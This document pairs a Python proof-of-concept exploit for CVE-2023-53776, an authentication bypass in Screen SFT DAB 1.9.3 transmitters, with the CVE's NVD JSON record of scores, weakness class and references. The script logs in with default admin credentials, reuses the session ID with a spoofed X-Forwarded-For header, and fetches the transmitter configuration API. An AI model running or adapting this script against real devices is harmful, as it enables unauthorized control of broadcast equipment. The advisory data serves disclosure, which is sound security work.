CVE-2023-53776

import requests import sys # CVE-2023-53776 PoC - Screen SFT DAB Authentication Bypass # Target: Screen SFT DAB 1.9.3 # Vulnerability: Weak session management - IP-bound session identifier reuse def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2023-53776 """ # First, obtain a valid session identifier (e.g., through legitimate login) login_url = f"{target_url}/api/login" login_data = { "username": "admin", "password": "admin" } session = requests.Session() try: # Attempt to get valid session response = session.post(login_url, json=login_data, timeout=10) if response.status_code == 200: session_id = session.cookies.get('SESSIONID') or response.json().get('session_id') print(f"[+] Obtained session: {session_id}") # Now try to reuse session from different IP context # In real attack, attacker would spoof source IP or use proxy exploit_url = f"{target_url}/api/transmitter/config" headers = { 'X-Session-ID': session_id, 'X-Forwarded-For': '192.168.1.100' # Spoofed IP } exploit_response = session.get(exploit_url, headers=headers, timeout=10) if exploit_response.status_code == 200: print(f"[+] VULNERABLE: Session reuse successful - bypassed IP binding") print(f"[+] Response: {exploit_response.text}") return True else: print(f"[-] Not vulnerable or session expired") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2023-53776-poc.py <target_url>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2023-53776", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:19.357", "lastModified": "2026-01-02T13:50:21.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Screen SFT DAB 1.9.3 contains an authentication bypass vulnerability that allows attackers to exploit weak session management by reusing IP-bound session identifiers. Attackers can issue unauthorized requests to the device management API by leveraging the session binding mechanism to perform critical operations on the transmitter."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:sft_dab_600\\/c_firmware:1.9.3:*:*:*:*:*:*:*", "matchCriteriaId": "B51EAD42-9B3F-44D5-973A-4758498D1339"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:sft_dab_600\\/c:-:*:*:*:*:*:*:*", "matchCriteriaId": "97E91C9F-B55C-4B1A-BE03-D1F03AC90FE5"}]}]}], "references": [{"url": "https://www.dbbroadcast.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51459", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.screen.it", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/screen-sft-dab-authentication-bypass-via-session-management-weakness", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5775.php", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5775.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}